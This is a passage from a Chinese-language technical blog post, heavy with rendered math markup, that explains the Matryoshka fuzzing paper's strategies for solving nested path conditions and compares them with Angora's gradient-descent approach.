viewBox="0 -750 8321.4 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mo" transform="translate(429,0)"><path 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，文中在这里提出了三种可选的策略，顺序执行：</p><ol type="1"><li><em>Prioritize reachability</em></li><li><em>Prioritize satisfia</em>bility</li><li><em>Joint optimization for both reachability and satisfiability</em></li></ol><p>1.3.1 <em>Prioritize satisfia</em>bility</p><p>这个策略非常有意思，修改 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex" xmlns="http://www.w3.org/2000/svg" width="5.387ex" height="1.934ex" role="img" focusable="false" viewBox="0 -661 2381 855"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 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-10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span>,结果有两种：(1 如果 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="10.167ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 4494 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D438" d="M492 213Q472 213 472 226Q472 230 477 250T482 285Q482 316 461 323T364 330H312Q311 328 277 192T243 52Q243 48 254 48T334 46Q428 46 458 48T518 61Q567 77 599 117T670 248Q680 270 683 272Q690 274 698 274Q718 274 718 261Q613 7 608 2Q605 0 322 0H133Q31 0 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 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transform="translate(3636,0)"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g><g data-mml-node="mo" transform="translate(4105,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span> 里面的每个路径条件 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.02ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 451 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> ,这个过程中需要避免修改流入<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 或者在 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.02ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 451 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45F" d="M21 287Q22 290 23 295T28 317T38 348T53 381T73 411T99 433T132 442Q161 442 183 430T214 408T225 388Q227 382 228 382T236 389Q284 441 347 441H350Q398 441 422 400Q430 381 430 363Q430 333 417 315T391 292T366 288Q346 288 334 299T322 328Q322 376 378 392Q356 405 342 405Q286 405 239 331Q229 315 224 298T190 165Q156 25 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 114 189T154 366Q154 405 128 405Q107 405 92 377T68 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 后面的<em>effective prior conditional statements</em>的<em>input bytes</em>,<em>bracktrace</em>成功的标志是处理完所有<em>EPrior(s)</em>的路径条件。</p><p>还是用F2中的例子来说明问题：假设当前的输入为 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="21.305ex" height="1.971ex" role="img" focusable="false" viewBox="0 -666 9417 871"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g 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inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 关联的<em>input bytes</em>过程中，强制使L2和L3也保持true分支,假设 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="5.257ex" height="1.971ex" role="img" focusable="false" viewBox="0 -666 2323.6 871"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 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inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 但是L3选择是<em>false</em>，所以进入<em>bracktrace</em>过程，继续slove L3，这个时候需要避免动 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 的值，当 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.186ex" xmlns="http://www.w3.org/2000/svg" width="5.442ex" height="1.692ex" role="img" focusable="false" viewBox="0 -666 2405.6 748"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mo" transform="translate(849.8,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mn" transform="translate(1905.6,0)"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g></g></g></svg></mjx-container></span> 的时候，就找到一组满足L6的<em>input bytes</em>.但是这里如果在一个<em>forward</em>过程中选择了<em>y=3</em>,就直接导致后面的<em>bracktrace</em>失败了。</p><p>1.3.3 <em>Joint optimization for both reachability and satisfiability</em></p><p>总结一下，<em>Prioritize reachability</em>旨在修改那些不会影响<em>EPrior(s)</em>的<em>input bytes</em>，保证 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 是<em>reachable</em>，<em>Prioritize satisfia</em>bility使用<em>forward-backtrace</em>方法，尽可能的满足 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> .但是它们都可能在尝试优化多个路径条件的时候失败。这里文中通过对Angora的梯度下降算法再改造：</p><ul><li><span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="19.614ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 8669.4 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g><g data-mml-node="mi" transform="translate(523,-150) scale(0.707)"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 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-143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span> 相当于一个<em>max</em>函数， <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.05ex" xmlns="http://www.w3.org/2000/svg" width="1.509ex" height="1.403ex" role="img" focusable="false" viewBox="0 -598 667 620"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="2228" d="M55 580Q56 587 61 592T75 598Q86 598 96 580L333 48L570 580Q579 596 586 597Q588 598 591 598Q609 598 611 580Q611 574 546 426T415 132T348 -15Q343 -22 333 -22T318 -15Q317 -14 252 131T121 425T55 580Z"></path></g></g></g></svg></mjx-container></span> 二元运算符表示取最大的那个操作数，并用 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="5.151ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 2276.6 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g><g data-mml-node="mn" transform="translate(523,-150) scale(0.707)"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g></g><g data-mml-node="mo" transform="translate(926.6,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1315.6,0)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mo" transform="translate(1887.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span> 表示 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 的抽象运算。观察这里转换表比Angora多了一个 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.919ex" height="1ex" role="img" focusable="false" viewBox="0 -431 406 442"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D716" d="M227 -11Q149 -11 95 41T40 174Q40 262 87 322Q121 367 173 396T287 430Q289 431 329 431H367Q382 426 382 411Q382 385 341 385H325H312Q191 385 154 277L150 265H327Q340 256 340 246Q340 228 320 219H138V217Q128 187 128 143Q128 77 160 52T231 26Q258 26 284 36T326 57T343 68Q350 68 354 58T358 39Q358 36 357 35Q354 31 337 21T289 0T227 -11Z"></path></g></g></g></svg></mjx-container></span> ,用于区别路径条件类型的最小正数。当 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="8.282ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 3660.6 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D454" d="M311 43Q296 30 267 15T206 0Q143 0 105 45T66 160Q66 265 143 353T314 442Q361 442 401 394L404 398Q406 401 409 404T418 412T431 419T447 422Q461 422 470 413T480 394Q480 379 423 152T363 -80Q345 -134 286 -169T151 -205Q10 -205 10 -137Q10 -111 28 -91T74 -71Q89 -71 102 -80T116 -111Q116 -121 114 -130T107 -144T99 -154T92 -162L90 -164H91Q101 -167 151 -167Q189 -167 211 -155Q234 -144 254 -122T282 -75Q288 -56 298 -13Q311 35 311 43ZM384 328L380 339Q377 350 375 354T369 368T359 382T346 393T328 402T306 405Q262 405 221 352Q191 313 171 233T151 117Q151 38 213 38Q269 38 323 108L331 118L384 328Z"></path></g><g data-mml-node="mo" transform="translate(477,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(866,0)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mo" transform="translate(1438,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 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46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g></g></g></svg></mjx-container></span> 这个事实？）。需要注意的是它这里要比Angora做的更好，因为Angora在计算偏导数的时候，并不能保证 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> 是<em>reachable</em>，这样得到的结果没有意义，Angora面对这个问题，只是简单提到了通过改变单位分向量的值。这里Matryoshka可以强制保证<em>previous</em>分支选择，来保证计算过程。</p><p>同样这样也用F2中的例子来说明问题，让 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="12.21ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 5396.9 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="5B" d="M118 -250V750H255V710H158V-210H255V-250H118Z"></path></g><g data-mml-node="mi" transform="translate(278,0)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 